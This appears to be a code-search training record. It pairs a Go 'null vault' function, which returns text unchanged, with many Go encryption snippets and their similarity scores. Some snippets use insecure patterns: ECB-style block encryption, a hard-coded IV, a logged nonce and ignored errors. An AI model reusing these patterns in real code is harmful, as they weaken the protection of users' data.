{\n\treturn c.TextBytes(code, []byte(s))\n}", "func Encrypt(str string) (string, error) {\n\tblock, err := aes.NewCipher([]byte(os.Getenv(\"ENC_KEY\")))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t//IV needs to be unique, but doesn't have to be secure.\n\t//It's common to put it at the beginning of the ciphertext.\n\tcipherText := make([]byte, aes.BlockSize+len(str))\n\tiv := cipherText[:aes.BlockSize]\n\tif _, err = io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn \"\", err\n\t}\n\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(cipherText[aes.BlockSize:], []byte(str))\n\n\t//returns to base64 encoded string\n\tencmess := base64.URLEncoding.EncodeToString(cipherText)\n\treturn encmess, nil\n}", "func (m Message) EncodedText() (*field.EncodedTextField, quickfix.MessageRejectError) {\n\tf := &field.EncodedTextField{}\n\terr := m.Body.Get(f)\n\treturn f, err\n}", "func (m Message) EncodedText() (*field.EncodedTextField, quickfix.MessageRejectError) {\n\tf := &field.EncodedTextField{}\n\terr := m.Body.Get(f)\n\treturn f, err\n}", "func (m Message) EncodedText() (*field.EncodedTextField, quickfix.MessageRejectError) {\n\tf := &field.EncodedTextField{}\n\terr := m.Body.Get(f)\n\treturn f, err\n}", "func (m Message) EncodedText() (*field.EncodedTextField, quickfix.MessageRejectError) {\n\tf := &field.EncodedTextField{}\n\terr := m.Body.Get(f)\n\treturn f, err\n}", "func (m Message) EncodedText() (*field.EncodedTextField, quickfix.MessageRejectError) {\n\tf := &field.EncodedTextField{}\n\terr := m.Body.Get(f)\n\treturn f, err\n}", "func (m Message) EncodedText() (*field.EncodedTextField, quickfix.MessageRejectError) {\n\tf := &field.EncodedTextField{}\n\terr := m.Body.Get(f)\n\treturn f, err\n}", "func (_Contract *ContractTransactorSession) SetText(node [32]byte, key string, value string) (*types.Transaction, error) {\n\treturn _Contract.Contract.SetText(&_Contract.TransactOpts, node, key, value)\n}", "func EncryptString(publicKey []*big.Int, message string) ([]byte, error) {\n\treturn EncryptBytes(publicKey, []byte(message))\n}", "func Encrypt(plaintext []byte, key []byte) ([]byte, error) {\n\tc, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgcm, err := cipher.NewGCM(c)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tnonce := make([]byte, gcm.NonceSize())\n\tif _, err = io.ReadFull(rand.Reader, nonce); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn gcm.Seal(nonce, nonce, plaintext, nil), nil\n}", "func (m EncMessage) Encrypt(k []byte) error {\n\treturn errors.New(\"Encrypt method must be overridden\")\n}", "func Encrypt(publicKeyPath string, output string, data []byte) (encryptedKey, encryptedData string) {\n\t// Public key\n\tpublicKey := ReadRsaPublicKey(publicKeyPath)\n\n\t// AEs key\n\tkey := NewAesEncryptionKey()\n\t// fmt.Printf(\"AES key: %v \\n\", *key)\n\ttext := []byte(string(data))\n\tencrypted, _ := AesEncrypt(text, key)\n\n\t// Base64 encode\n\tencryptedRsa, _ := RsaEncrypt(key, publicKey)\n\tb64key := b64.StdEncoding.EncodeToString([]byte(encryptedRsa))\n\tsEnc := b64.StdEncoding.EncodeToString(encrypted)\n\n\treturn b64key, sEnc\n}", "func (r *copyRunner) encrypt(plaintext []byte) ([]byte, error) {\n\tif (r.password != \"\" || r.symmetricKeyFile != \"\") && (r.publicKeyFile != \"\" || r.gpgUserID != \"\") {\n\t\treturn nil, fmt.Errorf(\"only one of the symmetric-key or public-key can be used for encryption\")\n\t}\n\n\t// Perform hybrid encryption with a public-key if it exists.\n\tif r.publicKeyFile != \"\" || r.gpgUserID != \"\" {\n\t\treturn r.encryptWithPubKey(plaintext)\n\t}\n\n\t// Encrypt with a symmetric-key if key exists.\n\tkey, err := getSymmetricKey(r.password, r.symmetricKeyFile)\n\tif errors.Is(err, errNotfound) {\n\t\treturn plaintext, nil\n\t}\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to get key: %w\", err)\n\t}\n\tencrypted, err := pbcrypto.Encrypt(key, plaintext)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to encrypt the plaintext: %w\", err)\n\t}\n\treturn encrypted, nil\n}", "func plainText(h http.HandlerFunc) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Add(\"Content-Type\", \"text/plain; charset=utf-8\")\n\t\th(w, r)\n\t}\n}", "func Encrypt(data []byte, passphrase string) ([]byte, error) {\n\tkey := []byte(utils.SHA3hash(passphrase)[96:128]) // last 32 characters in hash\n\tblock, _ := aes.NewCipher(key)\n\tgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\tlog.Println(\"Failed to initialize a new AES GCM while encrypting\", err)\n\t\treturn data, err\n\t}\n\tnonce := make([]byte, gcm.NonceSize())\n\tif _, err = io.ReadFull(rand.Reader, nonce); err != nil {\n\t\tlog.Println(\"Error while reading gcm bytes\", err)\n\t\treturn data, err\n\t}\n\tlog.Println(\"RANDOM ENCRYPTION NONCE IS: \", nonce)\n\tciphertext := gcm.Seal(nonce, nonce, data, nil)\n\treturn ciphertext, nil\n}", "func Encrypt(key, iv, plaintext []byte) ([]byte, error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tpad := aes.BlockSize - len(plaintext)%aes.BlockSize\n\tplaintext = append(plaintext, bytes.Repeat([]byte{byte(pad)}, pad)...)\n\tciphertext := make([]byte, len(plaintext))\n\tmode := cipher.NewCBCEncrypter(block, iv)\n\tmode.CryptBlocks(ciphertext, plaintext)\n\treturn ciphertext, nil\n}", "func Encrypt(plaintextBytes, keyBytes []byte) (ciphertextBytes []byte, err error) {\n\tcipher, err := aes.NewCipher(keyBytes)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tblockSize := cipher.BlockSize()\n\n\tfor len(plaintextBytes) > 0 {\n\t\tadd := make([]byte, blockSize)\n\t\tcipher.Encrypt(add, plaintextBytes[:blockSize])\n\t\tplaintextBytes = plaintextBytes[blockSize:]\n\t\tciphertextBytes = append(ciphertextBytes, add...)\n\t}\n\n\treturn\n}", "func (_Contract *ContractSession) SetText(node [32]byte, key string, value string) (*types.Transaction, error) {\n\treturn _Contract.Contract.SetText(&_Contract.TransactOpts, node, key, value)\n}", "func (c *Coffin) Encrypt(data []byte) ([]byte, error) {\n\n\t// Switch on Coffin.Mode, and select the appropriate encryption algorithm\n\tswitch c.Mode {\n\tcase CryptCHACHA20:\n\t\treturn c.encryptCHACHA20(data)\n\tcase CryptAES256:\n\t\treturn c.encryptAES256(data)\n\tcase CryptRSA:\n\t\treturn c.encryptRSA(data)\n\tdefault:\n\t\treturn c.encryptCHACHA20(data)\n\t}\n}" ]
[ "0.7409445", "0.73169905", "0.72339696", "0.71382487", "0.7052748", "0.7033361", "0.7011278", "0.7004154", "0.6990545", "0.6978515", "0.6925627", "0.68238705", "0.68125665", "0.6778617", "0.6762621", "0.6718451", "0.6631018", "0.65882", "0.65139467", "0.6424962", "0.63283706", "0.6324656", "0.62589985", "0.6258641", "0.61520326", "0.61364305", "0.61357945", "0.6125798", "0.611452", "0.6105464", "0.6105317", "0.60891026", "0.6087633", "0.60738564", "0.6035804", "0.60257447", "0.6017046", "0.6001942", "0.5987571", "0.59839725", "0.5982542", "0.5973707", "0.5961772", "0.59616524", "0.59589547", "0.59439135", "0.5940541", "0.5931707", "0.59259534", "0.5920375", "0.59115446", "0.59097093", "0.58857834", "0.5884651", "0.58845884", "0.5880933", "0.58722603", "0.5833647", "0.58190656", "0.5813622", "0.57955873", "0.5795552", "0.57865566", "0.57865137", "0.57782006", "0.57701105", "0.5764055", "0.5753466", "0.57525903", "0.5744031", "0.5742123", "0.5739031", "0.5718124", "0.5713443", "0.5700431", "0.5696989", "0.56958956", "0.5690058", "0.5678088", "0.5662461", "0.56619686", "0.5657321", "0.56469566", "0.56469566", "0.56469566", "0.56469566", "0.56469566", "0.56469566", "0.5642752", "0.56399035", "0.5638268", "0.5633085", "0.5631258", "0.5614402", "0.5595776", "0.55938953", "0.5589885", "0.5587803", "0.55856216", "0.5583553" ]
0.7360929
1
EncryptText does not decrypt, just sends the text back as plaintext
func (v nullVault) DecryptText(text string) (string, error) { return text, nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (v nullVault) EncryptText(text string) (string, error) {\n\treturn text, nil\n}", "func (v envVault) EncryptText(text string) (string, error) {\n\treturn EncryptText(text, v.passPhrase)\n}", "func EncryptText(c context.Context, api KMSEncryptAPI, input *kms.EncryptInput) (*kms.EncryptOutput, error) {\n\treturn api.Encrypt(c, input)\n}", "func Encrypt(text string) (encryptedText string, err error) {\n\n\t// validate key\n\tif err = initKey(); err != nil {\n\t\treturn\n\t}\n\n\t// create cipher block from key\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tplaintext := []byte(text)\n\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, rErr := io.ReadFull(rand.Reader, iv); rErr != nil {\n\t\terr = fmt.Errorf(\"iv ciphertext err: %s\", rErr)\n\t\treturn\n\t}\n\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\n\t// convert to base64\n\tencryptedText = base64.URLEncoding.EncodeToString(ciphertext)\n\n\treturn\n}", "func Encrypt(text string) (string, error) {\n\tencKey := os.Getenv(\"ENC_KEY\")\n\tencIv := os.Getenv(\"ENC_IV\")\n\tkey := []byte(encKey)\n\tiv := []byte(encIv)\n\tplainText := []byte(text)\n\tplainText, err := pad(plainText, aes.BlockSize)\n\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(`plainText: \"%s\" has error`, plainText)\n\t}\n\tif len(plainText)%aes.BlockSize != 0 {\n\t\terr := fmt.Errorf(`plainText: \"%s\" has the wrong block size`, plainText)\n\t\treturn \"\", err\n\t}\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tcipherText := make([]byte, len(plainText))\n\n\tmode := cipher.NewCBCEncrypter(block, iv)\n\tmode.CryptBlocks(cipherText, plainText)\n\n\treturn base64.StdEncoding.EncodeToString(cipherText), nil\n}", "func (v passPhraseVault) EncryptText(text string) (string, error) {\n\treturn EncryptText(text, v.passPhrase)\n}", "func Encrypt(plainText []byte, key []byte, iv []byte) []byte {\n\treturn getCipher(key).Seal(nil, iv, plainText, nil)\n}", "func encrypt(key, text []byte) ([]byte, error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tb := base64.StdEncoding.EncodeToString(text)\n\tciphertext := make([]byte, aes.BlockSize+len(b))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn nil, err\n\t}\n\tcfb := cipher.NewCFBEncrypter(block, iv)\n\tcfb.XORKeyStream(ciphertext[aes.BlockSize:], []byte(b))\n\treturn ciphertext, nil\n}", "func Encrypt(key []byte, text []byte) string {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Creating IV\n\tciphertext := make([]byte, aes.BlockSize+len(text))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Encrpytion Process\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], text)\n\n\t// Encode to Base64\n\treturn base64.URLEncoding.EncodeToString(ciphertext)\n}", "func Encrypt(key []byte, text string) string {\n\t// key := []byte(keyText)\n\tplaintext := []byte(text)\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(randCry.Reader, iv); err != nil {\n\t\tpanic(err)\n\t}\n\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\n\t// convert to base64\n\treturn base64.URLEncoding.EncodeToString(ciphertext)\n}", "func Encrypt(key, text []byte) ([]byte, error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tb := base64.StdEncoding.EncodeToString(text)\n\tciphertext := make([]byte, aes.BlockSize+len(b))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn nil, err\n\t}\n\tcfb := cipher.NewCFBEncrypter(block, iv)\n\tcfb.XORKeyStream(ciphertext[aes.BlockSize:], []byte(b))\n\treturn ciphertext, nil\n}", "func encrypt(key []byte, text string) string {\n\t// key needs tp be 16, 24 or 32 bytes.\n\tplaintext := []byte(text)\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\tpanic(err)\n\t}\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\t// convert to base64\n\treturn base64.URLEncoding.EncodeToString(ciphertext)\n}", "func Encrypt(key []byte, text string) string {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tplaintext := []byte(fmt.Sprint(text))\n\tcfb := cipher.NewCFBEncrypter(block, iv)\n\tcipherText := make([]byte, len(plaintext))\n\tcfb.XORKeyStream(cipherText, plaintext)\n\treturn encodeBase64(cipherText)\n}", "func Encrypt(key []byte, text string) string {\n\tplaintext := []byte(text)\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\tpanic(err)\n\t}\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\t// convert to base64\n\treturn base64.URLEncoding.EncodeToString(ciphertext)\n}", "func Encrypt(keyStr, ivStr, text string) (string, error) {\n\tkey := []byte(keyStr)\n\tiv := []byte(ivStr)\n\n\tplaintext := pad([]byte(text))\n\n\tif len(plaintext)%aes.BlockSize != 0 {\n\t\treturn \"\", errors.New(\"plaintext is not a multiple of the block size\")\n\t}\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\n\tmode := cipher.NewCBCEncrypter(block, iv)\n\tmode.CryptBlocks(ciphertext[aes.BlockSize:], plaintext)\n\n\treturn base64Encode(ciphertext), nil\n}", "func (a Aes) Encrypt(text string) (string, error) {\n\treturn a.encrypt([]byte(a.Key), text)\n}", "func Encrypt(plainText []byte, nonceBase64 string, key []byte) []byte {\n\tplainBase64 := make([]byte, base64.StdEncoding.EncodedLen(len(plainText)))\n\tbase64.StdEncoding.Encode(plainBase64, plainText)\n\n\tnonce := make([]byte, base64.StdEncoding.DecodedLen(len(nonceBase64)))\n\tbase64.StdEncoding.Decode(nonce, []byte(nonceBase64))\n\n\tnonceArray := &[nonceLen]byte{}\n\tcopy(nonceArray[:], nonce)\n\n\tencKey := &[keyLen]byte{}\n\tcopy(encKey[:], key)\n\n\tcypherText := []byte{}\n\tcypherText = secretbox.Seal(cypherText, plainText, nonceArray, encKey)\n\tcypherBase64 := make([]byte, base64.StdEncoding.EncodedLen(len(cypherText)))\n\tbase64.StdEncoding.Encode(cypherBase64, cypherText)\n\treturn cypherBase64\n}", "func (aesOpt *AESOpt) Encrypt(plainText []byte) (string, error) {\n\n\t//Create a nonce. Nonce should be from GCM\n\tnonce := make([]byte, aesOpt.aesGCM.NonceSize())\n\tif _, err := io.ReadFull(rand.Reader, nonce); err != nil {\n\t\treturn \"\", errors.Wrap(err, \"encryptAES.io.ReadFull\")\n\t}\n\n\t//Encrypt the data using aesGCM.Seal\n\t//Since we don't want to save the nonce somewhere else in this case, we add it as a prefix to the encrypted data. The first nonce argument in Seal is the prefix.\n\tciphertext := aesOpt.aesGCM.Seal(nonce, nonce, plainText, nil)\n\treturn fmt.Sprintf(\"%x\", ciphertext), nil\n}", "func Encrypt(plainText []byte) ([]byte, []byte, []byte, []byte, error) {\n\n\tkey, err := crypto.GenRandom(32)\n\tif err != nil {\n\t\treturn nil, nil, nil, nil, err\n\t}\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, nil, nil, nil, err\n\t}\n\n\taesgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn nil, nil, nil, nil, err\n\t}\n\n\tnonce, err := crypto.GenRandom(12)\n\tif err != nil {\n\t\treturn nil, nil, nil, nil, err\n\t}\n\n\tcipherText := aesgcm.Seal(nil, nonce, plainText, nil)\n\n\tsig, err := createHMAC(key, cipherText)\n\tif err != nil {\n\t\treturn nil, nil, nil, nil, err\n\t}\n\n\tcipherText = append(cipherText, nonce...)\n\n\treturn cipherText, key, sig, key, nil\n}", "func encrypt(aesKey []byte, plainText []byte, associatedData []byte) ([]byte, error) {\n\tcipher, err := subtle.NewAESGCM(aesKey)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to initialize cipher: %v\", err)\n\t}\n\treturn cipher.Encrypt(plainText, associatedData)\n}", "func TestEncryptionEncryptByPassPhrase(t *testing.T) {\n\tpassPhrase := \"123\"\n\tplaintext := []byte{1, 2, 3, 4}\n\n\tciphertextStr, err := encryptByPassPhrase(passPhrase, plaintext)\n\tfmt.Println(\"ciphertextStr : \", ciphertextStr)\n\n\tassert.Equal(t, nil, err)\n\tassert.Greater(t, len(ciphertextStr), 0)\n\n\tplaintext2, err := decryptByPassPhrase(passPhrase, ciphertextStr)\n\tassert.Equal(t, plaintext, plaintext2)\n}", "func (v *DefaultVaultClient) Encrypt(key, b64text string) (string, error) {\n\tkv := map[string]interface{}{\"plaintext\": b64text}\n\ts, err := v.Logical().Write(v.encryptEndpoint(key), kv)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif s == nil {\n\t\treturn \"\", fmt.Errorf(\"Unable to get encryption value using encryption key %s \", key)\n\t}\n\treturn s.Data[\"ciphertext\"].(string), nil\n}", "func (mkms MasterAliKmsCipher) Encrypt(plainData []byte) ([]byte, error) {\n\t// kms Plaintext must be base64 encoded\n\tbase64Plain := base64.StdEncoding.EncodeToString(plainData)\n\trequest := kms.CreateEncryptRequest()\n\trequest.RpcRequest.Scheme = \"https\"\n\trequest.RpcRequest.Method = \"POST\"\n\trequest.RpcRequest.AcceptFormat = \"json\"\n\n\trequest.KeyId = mkms.KmsID\n\trequest.Plaintext = base64Plain\n\n\tresponse, err := mkms.KmsClient.Encrypt(request)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn base64.StdEncoding.DecodeString(response.CiphertextBlob)\n}", "func (c *Cipher) Encrypt(plaintext string, context map[string]*string) (string, error) {\n\n\tkey, err := kms.GenerateDataKey(c.Client, c.KMSKeyID, context)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tciphertext, err := encryptBytes(key.Plaintext, []byte(plaintext))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tencrypted := &encrypted{keyCiphertext: key.Ciphertext, ciphertext: ciphertext}\n\treturn encrypted.encode(), nil\n\n}", "func RSAEncryptText(target string, text string) string {\n\ttextBytes := []byte(text)\n\thash := utils.HASH_ALGO.New()\n\tpubKeyBytes, e := hex.DecodeString(target)\n\tutils.HandleError(e)\n\tpubKey, e := x509.ParsePKCS1PublicKey(pubKeyBytes)\n\tutils.HandleError(e)\n\tctext := \"\"\n\n\tchunkSize, e := utils.GetMaxEncodedChunkLength(pubKey)\n\tutils.HandleError(e)\n\n\tfor i := 0; i < len(textBytes); {\n\t\tj := int(math.Min(float64(len(textBytes)), float64(i+chunkSize)))\n\t\tel, e := rsa.EncryptOAEP(hash, rand.Reader, pubKey, textBytes[i:j], nil)\n\t\tutils.HandleError(e)\n\t\tctext += string(el)\n\t\ti = j\n\t}\n\treturn ctext\n}", "func (c AESCBC) Encrypt(plainText []byte) []byte {\n\t// CBC mode always works in whole blocks.\n\tplainText = PadToMultipleNBytes(plainText, len(c.key))\n\tencryptedText := make([]byte, len(plainText))\n\n\tmode := cipher.NewCBCEncrypter(c.block, c.iv)\n\n\tfor i := 0; i < len(plainText)/aes.BlockSize; i++ {\n\t\t// CryptBlocks can work in-place if the two arguments are the same.\n\t\tmode.CryptBlocks(encryptedText[i*aes.BlockSize:(i+1)*aes.BlockSize], plainText[i*aes.BlockSize:(i+1)*aes.BlockSize])\n\t}\n\treturn encryptedText\n}", "func EncryptString(plainText string, key []byte, iv []byte) []byte {\n\tplainTextAsBytes := []byte(plainText)\n\treturn Encrypt(plainTextAsBytes, key, iv)\n}", "func Encrypt(key, iv, plaintext []byte) string {\n if len(key) != 32 {\n log.Fatal(\"Key length must be 32 bytes\")\n }\n if len(iv) != 12 {\n log.Fatal(\"initialization vector must be 12 bytes\")\n }\n block, err := aes.NewCipher(key)\n if err != nil {\n log.Fatal(err)\n }\n gcm, _ := cipher.NewGCM(block)\n ciphertext := gcm.Seal(nil, iv, plaintext, nil)\n return base64.StdEncoding.EncodeToString(ciphertext)\n}", "func encryptCBC(plainText, key []byte) (cipherText []byte, err error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tplainText = pad(aes.BlockSize, plainText)\n\n\tcipherText = make([]byte, aes.BlockSize+len(plainText))\n\tiv := cipherText[:aes.BlockSize]\n\t_, err = io.ReadFull(cryptoRand.Reader, iv)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmode := cipher.NewCBCEncrypter(block, iv)\n\tmode.CryptBlocks(cipherText[aes.BlockSize:], plainText)\n\n\treturn cipherText, nil\n}", "func encrypt(key string, plaintext string) string {\n\tvar iv = []byte{83, 71, 26, 58, 54, 35, 22, 11,\n\t\t83, 71, 26, 58, 54, 35, 22, 11}\n\tderivedKey := pbkdf2.Key([]byte(key), iv, 1000, 48, sha1.New)\n\tnewiv := derivedKey[0:16]\n\tnewkey := derivedKey[16:48]\n\tplaintextBytes := pkcs7Pad([]byte(plaintext), aes.BlockSize)\n\tblock, err := aes.NewCipher(newkey)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tn := aes.BlockSize - (len(plaintext) % aes.BlockSize)\n\tciphertext := make([]byte, len(plaintext)+n*2)\n\tmode := cipher.NewCBCEncrypter(block, newiv)\n\tmode.CryptBlocks(ciphertext, plaintextBytes)\n\tcipherstring := base64.StdEncoding.EncodeToString(ciphertext[:len(ciphertext)-n])\n\treturn cipherstring\n}", "func Encrypt(plaintext string) (string, error) {\n\treturn defaultEncryptor.Encrypt(plaintext)\n}", "func (p *Polybius) Encipher(text string) string {\n\tchars := []rune(strings.ToUpper(text))\n\tres := \"\"\n\tfor _, char := range chars {\n\t\tres += p.encipherChar(char)\n\t}\n\treturn res\n}", "func Encriptar(text string) string {\n\thash, err := bcrypt.GenerateFromPassword([]byte(text), bcrypt.DefaultCost)\n\tif err != nil {\n\t\tfmt.Println(\"no se pudo encriptar el text\")\n\t\treturn text\n\t}\n\treturn string(hash)\n}", "func (e *gcm) Encrypt(base64Key, plainText string) (string, error) {\n\tkey, err := base64.StdEncoding.DecodeString(base64Key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tcipherText, err := e.encrypt([]byte(plainText), key)\n\tbase64CipherText := base64.StdEncoding.EncodeToString(cipherText)\n\treturn base64CipherText, err\n}", "func Encrypt(key string, text string) (string, error) {\n\n // decode PEM encoding to ANS.1 PKCS1 DER\n block, _ := pem.Decode([]byte(key))\n pub, err := x509.ParsePKIXPublicKey(block.Bytes)\n pubkey, _ := pub.(*rsa.PublicKey) \n\n // create the propertiess\n message := []byte(text)\n label := []byte(\"\")\n hash := sha256.New()\n\n ciphertext, err := rsa.EncryptOAEP(hash, rand.Reader, pubkey, message, label)\n return string(base64.StdEncoding.EncodeToString(ciphertext)), err\n\n}", "func Encrypt(plaintext []byte, key []byte) ([]byte, error) {\n\n\tc, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcipherText := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := cipherText[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn nil, err\n\t}\n\n\tstream := cipher.NewCTR(c, iv)\n\tstream.XORKeyStream(cipherText[aes.BlockSize:], plaintext)\n\treturn cipherText, nil\n}", "func Encrypt(key []byte, plaintext string) (string, error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\taesgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tnonce := make([]byte, 12)\n\tif _, err := io.ReadFull(rand.Reader, nonce); err != nil {\n\t\treturn \"\", err\n\t}\n\n\tplaintextbytes := []byte(plaintext)\n\tcipherStr := base64.StdEncoding.EncodeToString(aesgcm.Seal(nonce, nonce, plaintextbytes, nil))\n\treturn cipherStr, nil\n}", "func Encrypt(msg []byte, key []byte) []byte {\n\n\tpaddedMsg := challenge_9.PadMessage(msg, len(key))\n\tcipherText := make([]byte, len(paddedMsg))\n\n\tcipherText = challenge_11.EcbEncrypt(paddedMsg, key)\n\treturn cipherText\n}", "func (ec *Encrypter) Encrypt(plaintext []byte) ([]byte, error) {\n\tif plaintext == nil {\n\t\treturn nil, fmt.Errorf(\"invalid plaintext: nil\")\n\t}\n\n\t// Create a SHA-512 digest on the plain content to detect data tampering\n\tdigest := sha512.Sum512(plaintext)\n\tif len(digest) != sha512DigestLen {\n\t\treturn nil, fmt.Errorf(\"unexpected SHA512 hash length. Expected %d, got %d\", sha512DigestLen, len(digest))\n\t}\n\n\t// 1 byte space to store version\n\t// 1 byte space to store padding len once we have it\n\tlenContentToEncrypt := len(magicBytes) + 1 + 1 + len(digest) + len(plaintext)\n\n\t// As a block cipher, the content's length must be a multiple of the AES block size (16 bytes).\n\t// To achieve this, we add padding to the plain content so that its size matches.\n\tpaddingLen := 0\n\textra := lenContentToEncrypt % aes.BlockSize\n\tif extra != 0 {\n\t\tpaddingLen = aes.BlockSize - extra\n\t}\n\tlenContentToEncrypt += paddingLen\n\n\t// Copy the plain text content to the buffer\n\tcontentLen := ec.salt.Len() + lenContentToEncrypt\n\tcontent := make([]byte, contentLen)\n\ti := 0\n\ti += copy(content[i:], ec.salt)\n\ti += copy(content[i:], magicBytes)\n\tcontent[i] = byte(version)\n\ti++\n\tcontent[i] = byte(paddingLen)\n\ti++\n\ti += copy(content[i:], make([]byte, paddingLen))\n\ti += copy(content[i:], digest[:])\n\ti += copy(content[i:], plaintext)\n\tif i != contentLen {\n\t\tlog.Panicf(\"Unexpected encryption error: expected length of copied plain content to be %d, got %d\\n\", contentLen, i)\n\t}\n\n\t// Encrypt supports in-place encryption.\n\t// Note that we don't encrypt the salt as we need it for decrypting.\n\tec.cipher.Encrypt(content[ec.salt.Len():], content[ec.salt.Len():], xtsSectorNum)\n\n\treturn content, nil\n}", "func (t *Thread) Encrypt(data []byte) ([]byte, error) {\n\treturn crypto.Encrypt(t.PrivKey.GetPublic(), data)\n}", "func encrypt(plaintext []byte) []byte {\n IV := genRandomBytes(ivLen)\n ciphertext := aead.Seal(nil, IV, plaintext, nil)\n\n return append(IV[:], ciphertext[:]...)\n}", "func encryptBytes(key []byte, plaintext []byte) ([]byte, error) {\n\t// Prepend 6 empty bytes to the plaintext so that the decryptor can verify\n\t// that decryption happened correctly.\n\tzeroes := make([]byte, numVerificationBytes)\n\tfulltext := append(zeroes, plaintext...)\n\n\t// Create the cipher and aead.\n\ttwofishCipher, err := twofish.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, errors.New(\"unable to create twofish cipher: \" + err.Error())\n\t}\n\taead, err := cipher.NewGCM(twofishCipher)\n\tif err != nil {\n\t\treturn nil, errors.New(\"unable to create AEAD: \" + err.Error())\n\t}\n\n\t// Generate the nonce.\n\tnonce := make([]byte, aead.NonceSize())\n\t_, err = rand.Read(nonce)\n\tif err != nil {\n\t\treturn nil, errors.New(\"failed to generate entropy for nonce: \" + err.Error())\n\t}\n\n\t// Encrypt the data and return.\n\treturn aead.Seal(nonce, nonce, fulltext, nil), nil\n}", "func (cs CryptoService) Encrypt(plain []byte) (cipher []byte, err error) {\n\tif len(plain) == 0 {\n\t\treturn nil, errors.New(\"vbcore/CryptoService: no content to encrypt\")\n\t}\n\n\tnonce, err := CryptoGenBytes(cs.gcm.NonceSize())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcipher = cs.gcm.Seal(nil, nonce, plain, nil)\n\tcipher = append(nonce, cipher...)\n\n\treturn cipher, nil\n}", "func Encrypt(key string, plaintext string) (string, error) {\n\n\tciphertext := make([]byte, 